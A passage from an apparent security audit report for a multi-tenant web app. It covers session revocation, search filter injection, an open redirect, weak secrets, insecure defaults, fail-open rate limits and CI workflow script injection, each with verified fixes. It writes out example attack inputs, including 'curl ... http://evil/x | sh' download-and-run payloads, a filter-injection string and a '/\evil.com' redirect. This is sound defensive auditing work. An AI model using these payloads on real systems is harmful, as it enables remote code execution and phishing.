const sessions = new Map<string, ApiSessionRecord>();
...
}
export const apiSessionStore = createApiSessionStore();
```
**Recommended fix**
Back the API session store with the shared store (Redis) already used for rate limiting (getSharedStore), or with a DB table, so create/revoke/rotate are visible across all instances and survive restarts. Alternatively maintain a shared revocation/denylist keyed by sessionId and consult it on every authenticated request. Keep JWT TTL short as defense-in-depth.
**Verifier notes**
Independently traced the full flow. apiSessionStore is a process-local in-memory Map: createApiSessionStore() builds `const sessions = new Map(...)` (session-store.ts:43) and is exported as a module-level singleton `apiSessionStore = createApiSessionStore()` (line 121). It is consulted in exactly three places, all in apps/api/src/routes/auth-routes.ts: login createApiSession (line 76, jwt.sign userId+sessionId, 1h TTL), refresh-token getActiveApiSession+rotateApiSession (lines 101/111), logout getActiveApiSession+revokeApiSession (lines 142/147). revokeSession/rotateSession only mutate the local Map (session-store.ts:77-105). No global JWT/session auth middleware exists in app.ts (lines 79/89 are only security headers and CORS; the only app.use guards are metrics/request-id/audit/body-limit/maintenance). I verified every other route family (accounts, entity-row, relationship, workspace, maintenance) authenticates via authenticateServiceCredentialRequest (routes/shared.ts:239) which accepts only a static service token or a stored API key — NOT the user JWT. So the finder's claim that revocation is process-local is correct and reachable: a logout on instance A never propagates to instances B/C (separate Maps), and a process restart clears all records. The concrete open exploit: a stolen or post-logout JWT can hit POST /v1/auth/refresh-token on any instance that didn't observe the revoke; getActiveApiSession there consults only that process's Map, so it returns active and rotateApiSession mints a fresh 1h token — repeatable, defeating explicit logout indefinitely. I refine the finder's impact: the user JWT does not authenticate business/data endpoints on ANY instance (those are service-token/API-key gated), so the practical consequence is unreliable session revocation + indefinite re-minting via refresh-token across instances/restarts, not access to tenant data. That keeps it Low but it is a real, reachable defect, not theoretical.
**Existing mitigations:** Partial mitigations that bound impact but do not neutralize it: (1) JWT TTL is short (1h, auth-routes.ts:77/117), bounding any single token's life, though refresh-token rotation re-arms it. (2) The user JWT session gates only /v1/auth/refresh-token and /v1/auth/logout — no business/data endpoint authenticates via this session (all use authenticateServiceCredentialRequest in routes/shared.ts:239, service token or stored API key), so broken revocation cannot grant tenant-data access. (3) Login rate-limiting exists. No mitigation makes revocation reliable: there is no shared denylist, no DB-backed session, no cross-instance propagation. Notably a shared store (getSharedStore, Redis namespace "api", apps/api/src/shared-store.ts) is already wired for rate-limiting and idempotency and Redis is provisioned in docker-compose.staging.yml — but the session store deliberately uses a raw Map instead.
---
## 11. [Low] Meilisearch filter injection via unescaped KB article language in search filter
- **Category:** Search Filter Injection | **Verdict:** likely | **Fix effort:** trivial | **Finder confidence:** low
- **Location:** `apps/web/app/modules/knowledgeBase/services/kbArticleSearch.server.ts:85-88`
- **Data flow:** HTTP URL path segment params.lang (routes help/$slug.($lang).categories.$category and docs/($lang).categories.$category) -> KbRoutes.Category.Api.tsx loader (no allowlist validation, unlike KbRoutes.Index.Api.tsx) -> KnowledgeBaseService.search({params}) -> searchKnowledgeBaseArticles({language: params.lang}) -> options.extraFilters = `language = "${input.language}" AND isPublished = true` -> searchWithFallback -> buildFilter() concatenates extraFilters verbatim into the Meilisearch filter expression -> handle.search(query, {filter})
**Exploit scenario**
An attacker hits /help/<kb-slug>/<lang>/categories/<category>?q=foo. KbRoutes.Index.Api validates params.lang against KnowledgeBaseUtils.supportedLanguages and returns 404 on mismatch, but KbRoutes.Category.Api and KbRoutes.Article.Api do NOT — they pass params.lang straight through. The language string is interpolated UNESCAPED into the Meilisearch filter (the wrapper only escapes tenantId and rowSearch escapes entityId, but kbArticleSearch does neither). A value like `en" OR isPublished = true OR "x` would alter the filter's boolean logic / break tenant- or publish-scoping intent. In practice the Category/Article loaders first call getCategory/getArticle which query getKbCategoryBySlug/getArticle with that language and redirect when nothing matches, so a fully arbitrary payload is rejected unless a stored row already carries that exact language — which is why confidence is low. The escaping omission plus inconsistent allowlist validation is nonetheless a latent injection that becomes directly exploitable if any future caller passes an unvalidated language, or if the upstream getCategory gate is relaxed.
**Evidence**
```
options: input.language
? { extraFilters: `language = "${input.language}" AND isPublished = true` }
: { extraFilters: "isPublished = true" },
```
**Recommended fix**
Escape the language value before interpolation using the same escapeFilterValue helper that rowSearch.server.ts uses (replace backslash and double-quote), or build the filter as a structured array passed to the Meilisearch client rather than a raw string. Additionally, apply the supportedLanguages allowlist check (already present in KbRoutes.Index.Api.tsx) consistently in KbRoutes.Category.Api.tsx and KbRoutes.Article.Api.tsx so an invalid lang returns 404 before reaching the search filter.
**Verifier notes**
The sink is real: kbArticleSearch.server.ts:85-88 interpolates input.language verbatim into extraFilters, and packages/search/src/query.ts buildFilter() (lines 149-158) escapes only tenantId via escapeFilterValue, concatenating extraFilters raw into the Meilisearch filter. The allowlist inconsistency is also real: KbRoutes.Index.Api.tsx:24-26 validates params.lang against KnowledgeBaseUtils.supportedLanguages (only "de"/"en") and returns 404, but KbRoutes.Category.Api.tsx and KbRoutes.Article.Api.tsx pass params.lang straight to KnowledgeBaseService.search (service line 547: language: params.lang || kb.defaultLanguage) with no such check.
However reachability is heavily gated. Both public loaders first call getCategory/getArticle, which query getKbCategoryBySlug / getKbArticleBySlug using Prisma EXACT-equality on language (kbCategories.db.server.ts:104-108, kbArticles.db.server.ts:369-373). If no stored row has language === params.lang the loader redirects (Category) or returns null (Article) BEFORE search runs. So an arbitrary one-shot payload from an anonymous user is rejected. To reach the sink a stored category/article row must carry the exact malicious language string. The admin create routes write language: params.lang! with no allowlist validation (categories.$lang/new.tsx:72, articles.$lang.tsx:91) — note the settings route DOES validate (settings.tsx:125-128), confirming the create routes are the gap. So a user holding admin.kb.create (verifyUserHasPermission, CSRF-protected) could persist a malicious language value, then trigger the public Category/Article loader with the same lang segment to fire the injection.
Impact ceiling is low. buildFilter yields `tenantId = "<escaped>" AND (<injected>)`; the tenantId equality is a top-level AND outside the injectable parenthesized group, so injection cannot bypass tenant scoping — no cross-tenant leak. Worst case is broadening results within the attacker's own tenant (e.g. `en" OR isPublished = true OR "x` surfacing own unpublished articles), and results are then re-fetched from SQL via findKnowledgeBaseArticlesByIds scoped by the same knowledgeBaseSlug + language, further limiting leakage. This is a genuine latent injection / defense-in-depth gap, not a high-impact exploit; it requires admin write privilege to plant the payload and cannot cross tenants.
**Existing mitigations:** tenantId is escaped and ANDed at the top level outside the injectable group (buildFilter, packages/search/src/query.ts:149-158), so the injection cannot bypass tenant isolation. Public loaders gate on getCategory/getArticle which use Prisma exact-equality on language (getKbCategoryBySlug / getKbArticleBySlug), so a non-stored arbitrary language is rejected before the sink. Final results are re-resolved from SQL scoped by knowledgeBaseSlug+language. The settings write route validates language against supportedLanguages. To plant a malicious language a caller needs admin.kb.create permission (verifyUserHasPermission) plus CSRF token. No escaping or allowlist mitigates the create routes (categories.$lang/new.tsx:72, articles.$lang.tsx:91) or the language interpolation itself — those are the open gaps.
---
## 12. [Low] Open redirect via backslash in admin SSO returnTo (sanitizeReturnTo allows '/\evil.com')
- **Category:** Open Redirect | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `apps/web/app/routes/auth.admin.callback.tsx:41-46 (also identical sanitizeReturnTo in apps/web/app/routes/auth.admin.login.tsx:14-22)`
- **Data flow:** Attacker crafts /auth/admin/login?returnTo=/\evil.com -> sanitizeReturnTo accepts it (starts with '/', not '//', no control chars; backslash not rejected) -> persisted in signed SSO challenge cookie -> on callback, redirect Location is set to '/\evil.com' -> some browsers normalize '/\' to '//' and navigate off-origin
**Exploit scenario**
An admin is sent a crafted SSO login link with returnTo=/\attacker.example. After completing Authentik SSO, the browser is redirected to /\attacker.example which several browsers treat as a protocol-relative URL to the attacker's site, enabling phishing of the freshly-authenticated admin. Impact is limited to the privileged admin SSO flow and depends on browser URL normalization.
**Evidence**
```
function sanitizeReturnTo(value: string | undefined): string | undefined {
if (!value) return undefined;
if (!value.startsWith("/") || value.startsWith("//")) return undefined;
if (/[\x00-\x1f]/.test(value)) return undefined;
return value;
} // does not reject backslashes; compare the robust safeRedirectPath() which blocks '\\'
```
**Recommended fix**
Reuse the hardened safeRedirectPath() from utils/app/RedirectSafety.server.ts (it rejects backslashes, encoded slashes/CRLF, and protocol-relative) for both admin SSO returnTo functions instead of the weaker local sanitizeReturnTo.
**Verifier notes**
I traced the full data flow and it is open end-to-end. (1) apps/web/app/routes/auth.admin.login.tsx:14-22 reads returnTo from the query string and passes it through sanitizeReturnTo, which accepts "/\evil.com": it starts with "/", does not start with "//", and contains no \x00-\x1f control chars; the backslash is never checked. (2) The value is persisted verbatim into the HMAC-signed challenge cookie via createAdminSsoChallenge({ returnTo }) (state.server.ts:97). (3) On callback, auth.admin.callback.tsx:148 re-runs the same weak sanitizeReturnTo (lines 41-46) on challenge.returnTo, again returning "/\evil.com", then line 150/158 sets redirectTarget = returnTo and passes it to createUserSession. (4) createUserSession (session.server.ts:195-213) calls redirect(redirectTo, ...) which sets the Location header to the value verbatim. No normalization occurs between sanitize and the header: entry.server.tsx handleRequest only handles document renders, not loader redirect responses, so the 302 Location: /\evil.com reaches the browser unmodified. Routes are registered (flat-routes via createRoutesFromFolders in routes.ts; /auth/admin/login and /auth/admin/callback are not in the ignore list). The contrast guard safeRedirectPath() in utils/app/RedirectSafety.server.ts:12-21 explicitly rejects trimmed.includes("\\") (and encoded %5c/%2f/CRLF), proving the team has a hardened helper the SSO flow fails to use. The existing test auth.admin.callback.test.ts:154-183 demonstrates the team intends this surface to block open redirects (it asserts an absolute https URL is dropped to the fallback), but no test covers the backslash case, so it is a genuine coverage gap, not intended behavior. Per WHATWG URL parsing for special schemes, browsers (Chromium, Firefox) treat backslashes as forward slashes, so a Location of /\evil.com resolves to //evil.com -> https://evil.com, navigating the freshly-authenticated admin off-origin. Confidence is high that the path is open; the only browser-dependent element is the final normalization, which is well-documented behavior. Not a test/mock/dead-code path — this is the live privileged admin SSO loader.
**Existing mitigations:** None found. The two sanitizeReturnTo functions are the only validation, and neither rejects backslashes or percent-encoded slashes. The signed challenge cookie protects integrity of the value in transit but the attacker legitimately supplies returnTo via the login URL query param, so the signature does not help. No global Location-header normalization exists in entry.server.tsx or session.server.ts. The hardened safeRedirectPath() exists in the repo but is NOT used by either admin SSO route.
---
## 13. [Low] SESSION_SECRET / CRYPTO_SECRET have no minimum-length or entropy validation at boot
- **Category:** Weak Crypto / Config Hardening | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `packages/config/src/web.ts:83, 150, 325`
- **Data flow:** env.SESSION_SECRET -> present(value) (only trims and rejects empty string) -> webConfig.sessionSecret -> createCookieSessionStorage({ secrets: [sessionSecret] }) in apps/web/app/utils/session.server.ts:132; CRYPTO_SECRET -> SHA-256 -> AES-256-GCM key in CryptoApi.ts
**Exploit scenario**
The env catalog enforces that SESSION_SECRET/CRYPTO_SECRET are present in production, but `present()` accepts ANY non-empty string. An operator could set SESSION_SECRET=changeme (8 weak chars) or reuse a value across SESSION_SECRET and CRYPTO_SECRET. A weak/short session secret reduces the work to brute-force/forge signed session cookies; reusing the same value for both session signing and at-rest credential encryption couples two trust domains. Note: the dedicated token helpers (lead/deletion/unsubscribe) already enforce a 32-byte minimum and throw — but the two most security-critical core secrets do not.
**Evidence**
```
sessionSecret: present(env.SESSION_SECRET),
...
cryptoSecret: present(env.CRYPTO_SECRET),
...
function present(value: string | undefined): string | undefined { /* only trims/empties */ }
```
**Recommended fix**
Add a minimum-length (>=32 chars) and distinctness check for SESSION_SECRET, CRYPTO_SECRET, JWT_SECRET, API_ACCESS_TOKEN in validateEnv/loadWebConfig for production, surfacing them as boot diagnostics (the helpers already do this for LEAD_CONVERSION_SECRET et al, so mirror that pattern). Also warn/fail if SESSION_SECRET === CRYPTO_SECRET.
**Verifier notes**
I independently verified every link in the claimed chain. (1) packages/config/src/web.ts:83 and :150 use present(env.SESSION_SECRET) / present(env.CRYPTO_SECRET); present() (lines 325-328) only trims and rejects empty strings — no length/entropy check. (2) The only other validation, validateEnv (index.ts:131-148), checks presence only (!input[name]); secret-validator.ts validateRequiredSecretString likewise checks presence only. (3) Sink 1 confirmed: apps/web/app/utils/session.server.ts:132 passes webConfig.sessionSecret straight into createCookieSessionStorage({ secrets: [...] }), so a weak secret weakens signed-cookie HMAC resistance. (4) Sink 2 confirmed: CryptoApi.ts:6-12 reads CRYPTO_SECRET directly from process.env, runs SHA-256 over it, and uses the digest as the AES-256-GCM key for stored workflow credentials — a low-entropy passphrase yields a brute-forceable at-rest key. (5) The finder's central claim — that the secondary token helpers DO enforce a minimum while the core secrets do not — is accurate: leadToken.server.ts:63-75 enforces MIN_SECRET_BYTES=32 (fail-closed) and dsgvo/deletionToken.server.ts:64-68 enforces MIN_SECRET_LENGTH=32, while SESSION_SECRET/CRYPTO_SECRET/JWT_SECRET/API_ACCESS_TOKEN (all requiredInProduction:true, kind secret/token in catalog.ts) get no such gate. No distinctness check exists either, so SESSION_SECRET === CRYPTO_SECRET passes silently, coupling the cookie-signing and credential-encryption trust domains. This is a genuine, accurately-described config-hardening gap. It is NOT directly attacker-triggerable over HTTP — exploitation requires an operator to set a weak/short secret or reuse one value across both — so it is correctly rated Low (defense-in-depth), matching the finder's claim.
**Existing mitigations:** None found that addresses secret strength. validateEnv and present() enforce presence only. secret-validator.ts validateRequiredSecretString enforces presence only. scripts/verify-secrets.mjs is a source-tree hardcoded-secret scanner (regex over committed files), not a runtime/boot env-strength validator. No catalog minLength field, no boot diagnostic, and no verify script (checked verify-deploy-readiness.mjs, check-env-drift.mjs, verify-secrets.mjs) enforces a minimum length or distinctness on SESSION_SECRET/CRYPTO_SECRET/JWT_SECRET/API_ACCESS_TOKEN. The 32-byte minimums in leadToken.server.ts and deletionToken.server.ts apply only to LEAD_CONVERSION_SECRET/deletion secrets, not the core secrets.
---
## 14. [Low] docker-compose ships a known default Meilisearch master key (devkey)
- **Category:** Hardcoded Secret / Insecure Default | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `docker-compose.yml:182`
- **Data flow:** docker-compose env MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey} -> meilisearch container; web reads process.env.MEILI_MASTER_KEY ?? undefined (crmContactSearch/rowSearch/kbArticleSearch .server.ts) to authenticate to the search engine
**Exploit scenario**
If an operator runs this compose file (or copies its pattern) without overriding MEILI_MASTER_KEY, Meilisearch boots with the publicly-known key `devkey`. Anyone who can reach port 7700 (mapped to the host as 7700:7700) can use the known master key to read/modify all tenant search indexes, which contain CRM contacts, rows, and knowledge-base content across tenants. The file documents this is dev-only and the .env.example mirrors `devkey`, so the failure mode is purely operator-misconfiguration, but the host port mapping makes an accidental exposure reachable. .env.example also ships MEILI_MASTER_KEY=devkey as the literal default.
**Evidence**
```
- MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey}
...
ports:
- "7700:7700"
```
**Recommended fix**
Do not bind 7700 to the host in the base compose (use an internal network like pgbouncer does), and either require MEILI_MASTER_KEY with no default (fail to start if unset) or generate a random key. At minimum add a production guard that refuses to start search if MEILI_MASTER_KEY==="devkey" while NODE_ENV!=development.
**Verifier notes**
The reported facts check out exactly. docker-compose.yml:182 sets `MEILI_MASTER_KEY=${MEILI_MASTER_KEY:-devkey}` and lines 185-186 map `"7700:7700"` to the host (binds 0.0.0.0 by default). The web search services authenticate using this key: apps/web/app/modules/crm/services/crmContactSearch.server.ts:34, apps/web/app/modules/rows/services/rowSearch.server.ts:33, and apps/web/app/modules/knowledgeBase/services/kbArticleSearch.server.ts:34 all call `createSearchClient({ url, apiKey: process.env.MEILI_MASTER_KEY ?? undefined })`. packages/search/src/client.ts passes apiKey straight to `new MeiliSearch(...)`, so `devkey` is the live auth credential. The Meilisearch master key is the sole auth boundary (docs/deploy/meilisearch.md:16: "if the port is open, the index is open"), and `MEILI_ENV` defaults to `development` (line 183) which also leaves the unauthenticated dashboard enabled.
I actively hunted for a mitigating guard and found NONE that neutralizes this. packages/config/src/secret-validator.ts only validates presence/URL-shape; MEILI_MASTER_KEY is classified `optional-provider` (catalog.ts:1931) and flows through validateOptionalSecretString with zero value-content check — it never rejects `devkey`. scripts/verify-secrets.mjs is a secret-SHAPE scanner: it skips any line containing `${...}` (line 96), so the compose line is never examined, and `devkey` is a 6-char low-entropy string matching none of its high-entropy/prefix patterns; .env.example is allowlisted regardless. So no runtime startup guard and no CI gate refuses the dev key.
The one real counterweight is the production deployment guidance (docs/deploy/meilisearch.md) and the staging compose: the Coolify/Scaleway/Fly snippets correctly use `MEILI_MASTER_KEY=${MEILI_MASTER_KEY}` (no default, fail-if-unset), set `MEILI_ENV=production`, and deliberately do NOT map 7700 to the host (internal `backend` network only). docker-compose.staging.yml ships no Meilisearch service at all. So the canonical production path is hardened, and the base file is documented as dev-only. The vulnerability is therefore an operator-misconfiguration / insecure-default + unnecessary host-port-binding combination, not an unconditional break — which matches the finder's own Low rating. It is still a legitimate hardening gap: the base compose contradicts its own pgbouncer precedent (pgbouncer:17-18 deliberately omits `ports:` "Public-facing 6432 would expose the pool to the open internet"), yet Meilisearch — holding cross-tenant CRM/rows/KB content behind a single known key — is bound to 0.0.0.0:7700.
**Existing mitigations:** Partial, doc-level only: docs/deploy/meilisearch.md and the Coolify/Scaleway/Fly snippets give a hardened production recipe (no default key, MEILI_ENV=production, no host port, internal network) and explicitly warn never to expose 7700. docker-compose.staging.yml omits Meilisearch entirely. These prevent the issue on the documented production path but are advisory — nothing in code or CI enforces them. No runtime guard (secret-validator.ts ignores value content) and no CI gate (verify-secrets.mjs skips ${...} lines and low-entropy strings) rejects MEILI_MASTER_KEY=devkey.
---
## 15. [Low] API_KEY_LEGACY_PLAINTEXT_FALLBACK defaults to true in base .env.example
- **Category:** Insecure Default / Config Exposure | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `.env.example:42`
- **Data flow:** env.API_KEY_LEGACY_PLAINTEXT_FALLBACK -> packages/config/src/api.ts:90 parseBooleanFlag(..., false) -> findLegacyApiKeyByKey options.allowPlaintextFallback -> when true, falls back to a plaintext `key` column equality lookup if the hashed lookup misses
**Exploit scenario**
The base .env.example ships API_KEY_LEGACY_PLAINTEXT_FALLBACK=true (the production example correctly sets it to false). An operator who copies .env.example to bootstrap a deployment keeps the plaintext-comparison fallback enabled, meaning API keys are matched by a direct DB equality on a plaintext column rather than only by the keyed hash — defeating the hardening that the keyHash migration introduced and re-exposing keys to DB-read/SQL-injection compromise. The default in the parser is safe (false), but the documented example template biases operators toward the insecure setting.
**Evidence**
```
# Temporary cutover switch for plaintext API-key lookup. Keep `true` during the hash-metadata
# backfill window, then set `false` once the backfill is verified...
API_KEY_LEGACY_PLAINTEXT_FALLBACK=true
```
**Recommended fix**
Flip the base .env.example default to false (matching .env.production.example) and keep the true value only as a commented note for the one-time backfill window, so a fresh copy of the template is secure-by-default.
**Verifier notes**
I independently verified every link in the claimed chain. (1) .env.example:42 literally ships `API_KEY_LEGACY_PLAINTEXT_FALLBACK=true`, while .env.production.example:19 ships `=false` — the discrepancy is real. (2) packages/config/src/api.ts:90 parses it with `parseBooleanFlag(env.API_KEY_LEGACY_PLAINTEXT_FALLBACK, false)` and exposes it as `config.apiKeys.allowLegacyPlaintextFallback`; there is NO production-side override (loadApiConfig uses the env value as-is regardless of NODE_ENV). (3) The flag flows into `findLegacyApiKeyByKey(..., { allowPlaintextFallback })` from real, unauthenticated-reachable API key auth paths: apps/api/src/routes/shared.ts:258, apps/api/src/routes/auth-routes.ts:178, apps/api/src/usage/usage-route.ts:29, and apps/web/app/utils/services/apiService.ts:94. (4) The sink at packages/db/src/api-keys.server.ts:776-788 confirms the dangerous behavior: when allowPlaintextFallback is true and the keyed-hash lookup misses, it performs a direct plaintext-column equality `client.apiKey.findFirst({ where: { key } })`, defeating the keyHash hardening. So an operator who bootstraps from the base template keeps the plaintext-comparison fallback enabled, re-exposing keys to DB-read/SQLi compromise. This is a genuine secure-by-default-template defect, not a grep artifact. It is correctly scoped Low: the parser default is safe when the var is absent, the production template (the one operators are directed to for prod) is correct, the inline comment documents it as a temporary cutover switch, and re-exposure of keys requires a secondary DB-read/SQLi compromise rather than being directly leakable.
**Existing mitigations:** Partial mitigations exist but none neutralize the template-default smell: (a) parseBooleanFlag defaults to false when the variable is absent (api.ts:90,101-116); (b) .env.production.example:19 correctly ships false and the catalog marks it production-only with defaultValue "false" (catalog.ts:136-144); (c) an inline comment at .env.example:39-41 warns it is a temporary backfill-window switch. However, the base .env.example still ships the explicit `=true`, there is no runtime NODE_ENV guard forcing it off in production, and exploitation of the resulting plaintext lookup additionally requires DB-read or SQL-injection access.
---
## 16. [Low] Public anti-spam rate limiters fail-open on shared-store (Redis) errors, allowing lead/form-submission flooding
- **Category:** Rate Limiting / Abuse | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** medium
- **Location:** `apps/web/app/routes/api.leads.capture.tsx:203-209 (also api.embed.forms.$formKey.submit.tsx:274-278)`
- **Data flow:** attacker HTTP POST -> getSharedStore() throws/blips -> catch block logs and continues -> captureLead()/formSubmission.create() persists unbounded rows
**Exploit scenario**
Both unauthenticated public write endpoints wrap their sliding-window rate-limit checks in try/catch and explicitly 'fail-open' on infra error, continuing to persist. An attacker who can degrade the shared store (or simply submit during a Redis outage) can bypass the 5/min-per-IP and 10/min-per-IP caps entirely and flood LeadEvent / FormSubmission tables and the form.submission.process outbox, causing DB bloat and downstream worker/CRM/webhook fan-out load. The Origin allowlist in front is acknowledged in-code as spoofable by non-browser clients, so it does not compensate.
**Evidence**
```
} catch (err) {
// Fail-open on infra error — better than dropping legitimate captures.
log.warn({ op: "rate-limit.error", ... }, "Rate-limit check failed; continuing");
}
```
**Recommended fix**
For unauthenticated public write endpoints, fail-closed (return 429/503) when the rate-limit store is unavailable, mirroring the production fail-closed branch already used by api.tenants.$tenant.plugins.tsx (shouldFailClosedOnRateLimitInfraFailure). At minimum gate fail-open behind NODE_ENV !== 'production'.
**Verifier notes**
I read both cited files end-to-end and traced the data flow. Both /api/leads/capture (apps/web/app/routes/api.leads.capture.tsx:177-209) and /api/embed/forms/:formKey/submit (api.embed.forms.$formKey.submit.tsx:248-278) are public, unauthenticated POST endpoints (no requireAuth/tenant guard — by design). They wrap the sliding-window rate-limit check (store.adapter.eval -> Redis) in try/catch and explicitly fail-open: on any error from getSharedStore()/limiter.consume() the catch only logs a warn and execution falls through to the persistence sink. captureLead.server.ts:57-131 then inserts unbounded Lead/LeadEvent rows; the embed route does formSubmission.create() + publishOutboxEvent (form.submission.process) inside a transaction (lines 322-357), which fans out to the worker/CRM/webhooks. With REDIS_URL set (production), getSharedStore() builds a RedisAdapter (factory.ts:149-156); a Redis outage/degradation makes eval() throw, so the 5/min and 10/min per-IP caps (and the per-email cap) are fully bypassed during the window of failure. Routes are reachable: routes.ts uses createRoutesFromFolders folder-convention, the files are not in defaultDisabledPluginRouteFilePatterns, and both handlers appear in the compiled server build. I actively checked the other listed guards and none neutralize a scripted attacker: Origin allowlist relies on the attacker-controlled Origin header (spoofable by non-browser clients, acknowledged in-code); the honeypot is simply omitted by a script; Turnstile is feature-flag-gated AND requires TURNSTILE_SECRET_KEY/cfg.turnstileEnabled, off by default. Strong corroboration: the sibling authenticated endpoint api.tenants.$tenant.plugins.tsx:79-81 defines shouldFailClosedOnRateLimitInfraFailure() (NODE_ENV === 'production') and its comment (lines 72-75) states this matches the api.leads.capture / api.embed pattern but that production fails closed for plugin writes — i.e. the authors recognized the fail-open risk and gated it for the admin endpoint but NOT for these two public write endpoints. The exploit path is open; it is conditioned on the shared store being unavailable, so it is an abuse/availability bypass rather than a normal-operation bypass.
**Existing mitigations:** Origin allowlist (matchAllowedOrigin) is present but defeatable via spoofed Origin header by non-browser clients (acknowledged in-code); honeypot field is trivially omitted by scripts; optional Cloudflare Turnstile is feature-flag-gated and requires TURNSTILE_SECRET_KEY / cfg.turnstileEnabled (off by default). Payload-size caps and the per-email limiter exist but the latter sits inside the same try block and is bypassed identically. None of these constitute a reliable rate-limit substitute when the shared store fails. No upstream fail-closed gate exists on these two public endpoints (unlike api.tenants.$tenant.plugins.tsx).
---
## 17. [Low] Script injection via untrusted workflow_dispatch inputs in E2E readiness workflows
- **Category:** CI/CD Script Injection | **Verdict:** confirmed | **Fix effort:** trivial | **Finder confidence:** high
- **Location:** `.github/workflows/e2e-readiness.yml:161, 165`
- **Data flow:** workflow_dispatch input (workflow_webhook_target_url / subscription_success_path) -> ${{ inputs.* }} textual substitution into a run: shell block -> printf ... >> $GITHUB_ENV
**Exploit scenario**
A user with repo write access (required to start a workflow_dispatch run) supplies a crafted value for workflow_webhook_target_url or subscription_success_path. Because GitHub/Gitea Actions substitutes ${{ inputs.* }} into the script text BEFORE the shell parses it, a value such as $(curl -s http://evil/x|sh) or one containing a newline followed by additional shell/env lines executes arbitrary commands on the runner and can poison $GITHUB_ENV (e.g. inject extra env vars). On the Gitea variant this runs on the self-hosted toolctrl-ci runner, where command execution is more impactful (persistent host, network access to internal Gitea/Coolify). Impact is bounded because workflow_dispatch is only triggerable by already-privileged actors, so this is defense-in-depth against an insider/compromised-write-token rather than an anonymous-attacker path.
**Evidence**
```
printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV"
...
printf 'E2E_TENANT_SUBSCRIPTION_SUCCESS_PATH=%s\n' "${{ inputs.subscription_success_path }}" >> "$GITHUB_ENV"
```
**Recommended fix**
Do not interpolate ${{ inputs.* }} directly inside run: scripts. Bind each input to an env var via an env: block on the step and reference it as a quoted shell variable, e.g.
env:
WEBHOOK_URL: ${{ inputs.workflow_webhook_target_url }}
run: |
printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "$WEBHOOK_URL" >> "$GITHUB_ENV"
Additionally validate the value is a single-line https URL (reject newlines/metacharacters) before writing it to $GITHUB_ENV. Apply the same fix to the identical block in .gitea/workflows/e2e-readiness.yml (lines 172 and 176).
**Verifier notes**
I read both workflow files in full and confirmed the cited sink exactly. In .github/workflows/e2e-readiness.yml lines 161 and 165 (and identically .gitea/workflows/e2e-readiness.yml lines 172 and 176) two workflow_dispatch inputs declared as type: string -- workflow_webhook_target_url (lines 32-36) and subscription_success_path (lines 42-46) -- are interpolated as ${{ inputs.* }} directly into a run: shell block: printf 'E2E_WORKFLOW_WEBHOOK_TARGET_URL=%s\n' "${{ inputs.workflow_webhook_target_url }}" >> "$GITHUB_ENV". GitHub/Gitea Actions performs this as textual substitution into the script source BEFORE the shell parses it, which is the canonical Actions script-injection pattern. Because the value lands inside double quotes, a payload using $(...) command substitution executes (command substitution runs inside double quotes), and a literal double-quote or newline in the value breaks out of the quoting entirely -- e.g. a value of "; curl -s http://evil/x | sh; echo " or $(id) yields arbitrary command execution on the runner and can also poison $GITHUB_ENV with extra lines. I searched the entire repo (grep across yml/ts/js/sh) for any validation of these two inputs and found NONE: the only input-validation present is the node -e isIP() check at .gitea lines 117-120, which guards the unrelated vars.HIVEGRID_GITEA_HOST_IP value, not these user inputs. The boolean gates workflow_webhook_run / subscription_success (type: boolean, constrained to true/false) do not mitigate because the same actor controls them and trivially sets them true. The downstream consumers (tests/e2e/subscription-smoke.spec.ts, workflow-builder-run.mobile-a11y.spec.ts) only read the resulting env var and are irrelevant -- injection happens at the YAML-to-shell substitution step before any test runs. The one genuine bound, correctly stated by the finder, is that workflow_dispatch is only triggerable by an actor with repo write access, so this is defense-in-depth against an insider or compromised write-scoped token rather than an anonymous-attacker path. On the Gitea variant it runs on the self-hosted toolctrl-ci runner (persistent host, internal network reach to Gitea/Coolify), raising blast radius if exploited. The exploit path is open and the finding is accurate; severity Low is appropriate given the write-access precondition.
**Existing mitigations:** None found. No input validation, allowlist, sanitizer, or env-binding exists for workflow_webhook_target_url or subscription_success_path. The only validation in the workflow (isIP on HIVEGRID_GITEA_HOST_IP, .gitea lines 117-120) guards an unrelated vars value. The only real bound is the trigger precondition: workflow_dispatch requires repo write access, so the attacker must already be privileged (insider / compromised write token).
---
# False positives (filtered out by verification)
- **API refresh-token/logout verify JWTs without pinning the algorithm** (Authentication & Session Management)
- Confirmed the cited code: apps/api/src/routes/auth-routes.ts:94 (refresh-token) and :135 (logout) call jwt.verify(token, secret) with no { algorithms } option, while apps/hocuspocus/src/extensions/auth.ts:79-82 correctly pins algorithms:["HS256"]. The code-level observation is accurate, but there is NO open exploit path under the current configuration: (1) jwtSecret is typed as a plain string symmetric secret in packages/config/src/types.ts:143 and loaded from JWT_SECRET via present(env.JWT_SECRET) in packages/config/src/api.ts:68; grep across apps/api/src finds zero asymmetric keys (no RS256/ES256/publicKey), so alg-confusion (signing an HS256 token using a leaked public key as the HMAC secret) is impossible — there is no public key in play. (2) The library is jsonwebtoken ^9.0.0 (apps/api/package.json:43), which rejects alg:"none" unless "none" is explicitly listed in algorithms; since no algorithms array is passed at all, unsigned tokens are rejected by the v9 default. (3) Login signs HS256 by default (line 77) and forging any accepted token still requires knowledge of JWT_SECRET, which unpinned algorithms does not change. The finder explicitly acknowledges it is "not exploitable today" and frames it as defense-in-depth against a hypothetical future asymmetric-key introduction or library default change — that is a theoretical condition with no current attacker path, which the rubric classifies as a false positive (non-exploitable). The recommended fix (pass { algorithms: ["HS256"] }) is valid, trivial hardening worth applying to match the existing hocuspocus pattern, but it does not mitigate any current vulnerability.
- **extraFilters strings are concatenated verbatim into Meilisearch filter expressions** (SQL / Command / ORM / Template Injection)
